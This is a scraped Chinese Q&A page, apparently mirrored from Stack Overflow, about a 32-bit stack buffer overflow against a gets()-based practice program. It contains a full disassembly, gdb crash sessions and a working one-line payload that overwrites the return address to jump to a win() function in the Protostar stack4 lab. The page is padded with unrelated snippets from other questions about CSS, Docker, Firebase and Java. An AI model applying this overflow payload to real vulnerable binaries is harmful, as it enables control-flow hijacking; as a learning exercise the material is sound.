- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
我正在尝试利用该程序中的缓冲区溢出我使用的是 32 位 kali_linux
#include <stdlib.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
我使用pattern_offset来获取我应该覆盖多少:72发生的情况是:EBP 被覆盖,但 EIP 永远不会被覆盖,即使溢出 72 + 4 个字节来覆盖 ebp + 函数地址来覆盖返回地址
EIP:0x40120f(:ret)
始终指向返回地址。
isassembly of section .init:
00001000 <_init>:
1000: 53 push %ebx
1001: 83 ec 08 sub $0x8,%esp
1004: e8 a7 00 00 00 call 10b0 <__x86.get_pc_thunk.bx>
1009: 81 c3 f7 2f 00 00 add $0x2ff7,%ebx
100f: 8b 83 f4 ff ff ff mov -0xc(%ebx),%eax
1015: 85 c0 test %eax,%eax
1017: 74 02 je 101b <_init+0x1b>
1019: ff d0 call *%eax
101b: 83 c4 08 add $0x8,%esp
101e: 5b pop %ebx
101f: c3 ret
Disassembly of section .plt:
00001020 <.plt>:
1020: ff b3 04 00 00 00 pushl 0x4(%ebx)
1026: ff a3 08 00 00 00 jmp *0x8(%ebx)
102c: 00 00 add %al,(%eax)
...
00001030 <gets@plt>:
1030: ff a3 0c 00 00 00 jmp *0xc(%ebx)
1036: 68 00 00 00 00 push $0x0
103b: e9 e0 ff ff ff jmp 1020 <.plt>
00001040 <puts@plt>:
1040: ff a3 10 00 00 00 jmp *0x10(%ebx)
1046: 68 08 00 00 00 push $0x8
104b: e9 d0 ff ff ff jmp 1020 <.plt>
00001050 <__libc_start_main@plt>:
1050: ff a3 14 00 00 00 jmp *0x14(%ebx)
1056: 68 10 00 00 00 push $0x10
105b: e9 c0 ff ff ff jmp 1020 <.plt>
Disassembly of section .plt.got:
00001060 <__cxa_finalize@plt>:
1060: ff a3 f0 ff ff ff jmp *-0x10(%ebx)
1066: 66 90 xchg %ax,%ax
Disassembly of section .text:
00001070 <_start>:
1070: 31 ed xor %ebp,%ebp
1072: 5e pop %esi
1073: 89 e1 mov %esp,%ecx
1075: 83 e4 f0 and $0xfffffff0,%esp
1078: 50 push %eax
1079: 54 push %esp
107a: 52 push %edx
107b: e8 22 00 00 00 call 10a2 <_start+0x32>
1080: 81 c3 80 2f 00 00 add $0x2f80,%ebx
1086: 8d 83 80 d2 ff ff lea -0x2d80(%ebx),%eax
108c: 50 push %eax
108d: 8d 83 20 d2 ff ff lea -0x2de0(%ebx),%eax
1093: 50 push %eax
1094: 51 push %ecx
1095: 56 push %esi
1096: ff b3 f8 ff ff ff pushl -0x8(%ebx)
109c: e8 af ff ff ff call 1050 <__libc_start_main@plt>
10a1: f4 hlt
10a2: 8b 1c 24 mov (%esp),%ebx
10a5: c3 ret
10a6: 66 90 xchg %ax,%ax
10a8: 66 90 xchg %ax,%ax
10aa: 66 90 xchg %ax,%ax
10ac: 66 90 xchg %ax,%ax
10ae: 66 90 xchg %ax,%ax
000010b0 <__x86.get_pc_thunk.bx>:
10b0: 8b 1c 24 mov (%esp),%ebx
10b3: c3 ret
10b4: 66 90 xchg %ax,%ax
10b6: 66 90 xchg %ax,%ax
10b8: 66 90 xchg %ax,%ax
10ba: 66 90 xchg %ax,%ax
10bc: 66 90 xchg %ax,%ax
10be: 66 90 xchg %ax,%ax
000010c0 <deregister_tm_clones>:
10c0: e8 e0 00 00 00 call 11a5 <__x86.get_pc_thunk.dx>
10c5: 81 c2 3b 2f 00 00 add $0x2f3b,%edx
10cb: 8d 8a 20 00 00 00 lea 0x20(%edx),%ecx
10d1: 8d 82 20 00 00 00 lea 0x20(%edx),%eax
10d7: 39 c8 cmp %ecx,%eax
10d9: 74 1d je 10f8 <deregister_tm_clones+0x38>
10db: 8b 82 ec ff ff ff mov -0x14(%edx),%eax
10e1: 85 c0 test %eax,%eax
10e3: 74 13 je 10f8 <deregister_tm_clones+0x38>
10e5: 55 push %ebp
10e6: 89 e5 mov %esp,%ebp
10e8: 83 ec 14 sub $0x14,%esp
10eb: 51 push %ecx
10ec: ff d0 call *%eax
10ee: 83 c4 10 add $0x10,%esp
10f1: c9 leave
10f2: c3 ret
10f3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
10f7: 90 nop
10f8: c3 ret
10f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00001100 <register_tm_clones>:
1100: e8 a0 00 00 00 call 11a5 <__x86.get_pc_thunk.dx>
1105: 81 c2 fb 2e 00 00 add $0x2efb,%edx
110b: 55 push %ebp
110c: 89 e5 mov %esp,%ebp
110e: 53 push %ebx
110f: 8d 8a 20 00 00 00 lea 0x20(%edx),%ecx
1115: 8d 82 20 00 00 00 lea 0x20(%edx),%eax
111b: 83 ec 04 sub $0x4,%esp
111e: 29 c8 sub %ecx,%eax
1120: 89 c3 mov %eax,%ebx
1122: c1 e8 1f shr $0x1f,%eax
1125: c1 fb 02 sar $0x2,%ebx
1128: 01 d8 add %ebx,%eax
112a: d1 f8 sar %eax
112c: 74 14 je 1142 <register_tm_clones+0x42>
112e: 8b 92 fc ff ff ff mov -0x4(%edx),%edx
1134: 85 d2 test %edx,%edx
1136: 74 0a je 1142 <register_tm_clones+0x42>
1138: 83 ec 08 sub $0x8,%esp
113b: 50 push %eax
113c: 51 push %ecx
113d: ff d2 call *%edx
113f: 83 c4 10 add $0x10,%esp
1142: 8b 5d fc mov -0x4(%ebp),%ebx
1145: c9 leave
1146: c3 ret
1147: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
114e: 66 90 xchg %ax,%ax
00001150 <__do_global_dtors_aux>:
1150: 55 push %ebp
1151: 89 e5 mov %esp,%ebp
1153: 53 push %ebx
1154: e8 57 ff ff ff call 10b0 <__x86.get_pc_thunk.bx>
1159: 81 c3 a7 2e 00 00 add $0x2ea7,%ebx
115f: 83 ec 04 sub $0x4,%esp
1162: 80 bb 20 00 00 00 00 cmpb $0x0,0x20(%ebx)
1169: 75 27 jne 1192 <__do_global_dtors_aux+0x42>
116b: 8b 83 f0 ff ff ff mov -0x10(%ebx),%eax
1171: 85 c0 test %eax,%eax
1173: 74 11 je 1186 <__do_global_dtors_aux+0x36>
1175: 83 ec 0c sub $0xc,%esp
1178: ff b3 1c 00 00 00 pushl 0x1c(%ebx)
117e: e8 dd fe ff ff call 1060 <__cxa_finalize@plt>
1183: 83 c4 10 add $0x10,%esp
1186: e8 35 ff ff ff call 10c0 <deregister_tm_clones>
118b: c6 83 20 00 00 00 01 movb $0x1,0x20(%ebx)
1192: 8b 5d fc mov -0x4(%ebp),%ebx
1195: c9 leave
1196: c3 ret
1197: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
119e: 66 90 xchg %ax,%ax
000011a0 <frame_dummy>:
11a0: e9 5b ff ff ff jmp 1100 <register_tm_clones>
000011a5 <__x86.get_pc_thunk.dx>:
11a5: 8b 14 24 mov (%esp),%edx
11a8: c3 ret
000011a9 <win>:
11a9: 55 push %ebp
11aa: 89 e5 mov %esp,%ebp
11ac: 53 push %ebx
11ad: 83 ec 04 sub $0x4,%esp
11b0: e8 5b 00 00 00 call 1210 <__x86.get_pc_thunk.ax>
11b5: 05 4b 2e 00 00 add $0x2e4b,%eax
11ba: 83 ec 0c sub $0xc,%esp
11bd: 8d 90 08 e0 ff ff lea -0x1ff8(%eax),%edx
11c3: 52 push %edx
11c4: 89 c3 mov %eax,%ebx
11c6: e8 75 fe ff ff call 1040 <puts@plt>
11cb: 83 c4 10 add $0x10,%esp
11ce: 90 nop
11cf: 8b 5d fc mov -0x4(%ebp),%ebx
11d2: c9 leave
11d3: c3 ret
000011d4 <main>:
11d4: 8d 4c 24 04 lea 0x4(%esp),%ecx
11d8: 83 e4 f0 and $0xfffffff0,%esp
11db: ff 71 fc pushl -0x4(%ecx)
11de: 55 push %ebp
11df: 89 e5 mov %esp,%ebp
11e1: 53 push %ebx
11e2: 51 push %ecx
11e3: 83 ec 40 sub $0x40,%esp
11e6: e8 25 00 00 00 call 1210 <__x86.get_pc_thunk.ax>
11eb: 05 15 2e 00 00 add $0x2e15,%eax
11f0: 83 ec 0c sub $0xc,%esp
11f3: 8d 55 b8 lea -0x48(%ebp),%edx
11f6: 52 push %edx
11f7: 89 c3 mov %eax,%ebx
11f9: e8 32 fe ff ff call 1030 <gets@plt>
11fe: 83 c4 10 add $0x10,%esp
1201: b8 00 00 00 00 mov $0x0,%eax
1206: 8d 65 f8 lea -0x8(%ebp),%esp
1209: 59 pop %ecx
120a: 5b pop %ebx
120b: 5d pop %ebp
120c: 8d 61 fc lea -0x4(%ecx),%esp
120f: c3 ret
00001210 <__x86.get_pc_thunk.ax>:
1210: 8b 04 24 mov (%esp),%eax
1213: c3 ret
1214: 66 90 xchg %ax,%ax
1216: 66 90 xchg %ax,%ax
1218: 66 90 xchg %ax,%ax
121a: 66 90 xchg %ax,%ax
121c: 66 90 xchg %ax,%ax
121e: 66 90 xchg %ax,%ax
00001220 <__libc_csu_init>:
1220: 55 push %ebp
1221: e8 5b 00 00 00 call 1281 <__x86.get_pc_thunk.bp>
1226: 81 c5 da 2d 00 00 add $0x2dda,%ebp
122c: 57 push %edi
122d: 56 push %esi
122e: 53 push %ebx
122f: 83 ec 0c sub $0xc,%esp
1232: 89 eb mov %ebp,%ebx
1234: 8b 7c 24 28 mov 0x28(%esp),%edi
1238: e8 c3 fd ff ff call 1000 <_init>
123d: 8d 9d f8 fe ff ff lea -0x108(%ebp),%ebx
1243: 8d 85 f4 fe ff ff lea -0x10c(%ebp),%eax
1249: 29 c3 sub %eax,%ebx
124b: c1 fb 02 sar $0x2,%ebx
124e: 74 25 je 1275 <__libc_csu_init+0x55>
1250: 31 f6 xor %esi,%esi
1252: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
1258: 83 ec 04 sub $0x4,%esp
125b: 57 push %edi
125c: ff 74 24 2c pushl 0x2c(%esp)
1260: ff 74 24 2c pushl 0x2c(%esp)
1264: ff 94 b5 f4 fe ff ff call *-0x10c(%ebp,%esi,4)
126b: 83 c6 01 add $0x1,%esi
126e: 83 c4 10 add $0x10,%esp
1271: 39 f3 cmp %esi,%ebx
1273: 75 e3 jne 1258 <__libc_csu_init+0x38>
1275: 83 c4 0c add $0xc,%esp
1278: 5b pop %ebx
1279: 5e pop %esi
127a: 5f pop %edi
127b: 5d pop %ebp
127c: c3 ret
127d: 8d 76 00 lea 0x0(%esi),%esi
00001280 <__libc_csu_fini>:
1280: c3 ret
00001281 <__x86.get_pc_thunk.bp>:
1281: 8b 2c 24 mov (%esp),%ebp
1284: c3 ret
Disassembly of section .fini:
00001288 <_fini>:
1288: 53 push %ebx
1289: 83 ec 08 sub $0x8,%esp
128c: e8 1f fe ff ff call 10b0 <__x86.get_pc_thunk.bx>
1291: 81 c3 6f 2d 00 00 add $0x2d6f,%ebx
1297: 83 c4 08 add $0x8,%esp
129a: 5b pop %ebx
129b: c3 ret
最佳答案
我想你可能喜欢重定向到函数 win()
使用nm
查找win()
函数地址:
user@protostar:/opt/protostar/bin$ nm stack4 | grep win
080483f4 T win
是的,程序在 76
处崩溃,然后您才能覆盖 77
处的 eip
76
A:
user@protostar:/opt/protostar/bin$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) r
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
) at libc-start.c:187
187 libc-start.c: No such file or directory.
in libc-start.c
(gdb)
77
A:
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0xb7ea0041 in ?? () from /lib/libc.so.6
(gdb)
参见地址0xb7ea0041
处的41
解决方案:
user@protostar:/opt/protostar/bin$ python -c 'print "A"*76+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault
user@protostar:/opt/protostar/bin$
关于无法覆盖返回地址 (eip),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/59414900/
我知道 C++ 中的 overriding 是什么。但是,是否存在覆盖?如果有,是什么意思? 谢谢。 最佳答案 在 C++ 术语中,您有 覆盖(与类层次结构中的虚拟方法相关)和 重载(与具有相同名称但
我想捕获位于另一个元素下的元素的鼠标事件。 这是我所拥有的示例:http://jsfiddle.net/KVLkp/13/ 现在我想要的是当鼠标悬停在红色方 block 上时蓝色方 block 有黄色
以下报道 here我尝试创建一个带有重叠散点图的箱线图。 但是当我运行时: In [27]: table1.t_in[table1.duration==6] Out[27]: counter 7
有一个 JS Fiddle here , 你能在不克隆到新对象的情况下替换 e.target 吗? 下面重复了那个 fiddle 的听众; one.addEventListener('click',
首先要解决重复的可能性: 我不是询问 Override 是什么、它的含义或 @Override 在 java 文档注释之外。那是我不是问 /**Some JavaDoc Comment*/ @over
我想要高于定义的数组。它存储点及其坐标。 public static List simpleGraph(List nodes) { int numEdges = nodes.size() *
我在 http://olisan.dk/blog/ 有一个博客- 如您所见,有一个 28 像素的高间隙(边距顶部)...在 style.css 中: margin-top: 0; 也被设置为 marg
Vulkan 句柄是指向 struct 的不透明指针,或者只是无符号的 64 位整数,具体取决于 VK_USE_64_BIT_PTR_DEFINES 的值: #if (VK_USE_64_BI
我正在尝试提供一个行为类似于 DataGridTextColumn 的 DataGrid 列,但在编辑模式下有一个附加按钮。我查看了 DataGridTemplateColumn,但似乎更容易将 Da
使用 Django 1.10 我想在用户名中允许\字符,因为我在使用“django.contrib.auth.middleware.RemoteUserMiddleware”的 Windows 环境中
我正在尝试使用 ffmpeg 将 Logo 放入 rtmp 流中。我的 ffmpeg 版本是 ffmpeg version 4.3.1目前在我的复杂过滤器中,我有: ffmpeg -re -i 'v
是否有用于Firebase 3存储的方法/规则来禁用文件更新或覆盖? 我为数据库找到了data.exists(),但没有为存储找到解决方案。 最佳答案 TL; DR:在Storage Security
我有两个 Docker Compose 文件,docker-compose.yml看起来像这样 version: '2' services: mongo: image: mongo:3.2
我需要覆盖 JPA 中的集合表吗?也许有人有想法 public class nationality{ @Embedded @AttributeOverrides({
嗨,我正在使用 WIX 和下面的代码将文件安装到目录中。 我的应用程序的工作方式是用户可以在该目录中复制他们自己的文件,覆盖他们喜欢的内容
我正在尝试为 Lua 中的字符串实现我自己的长度方法。 我已成功覆盖字符串的 len() 方法,但我不知道如何为 # 运算符执行此操作。 orig_len = string.len function
在Scala 2.10.4中,给出以下类: scala> class Foo { | val x = true | val f = if (x) 100 else 200
我想做上面的事情。 我过去覆盖了许多文件...... block ,模型,助手......但这个让我望而却步。 谁能看到我在这里做错了什么: (我编辑了这段代码......现在包括一些建议......
根据javadoc An instance method in a subclass with the same signature (name, plus the number and the ty
我有一段代码,只要有可用的新数据作为 InputStream 就会生成新数据。每次都覆盖同一个文件。有时文件在写入之前变为 0 kb。 Web 服务会定期读取这些文件。我需要避免文件为 0 字节的情况
我是一名优秀的程序员,十分优秀!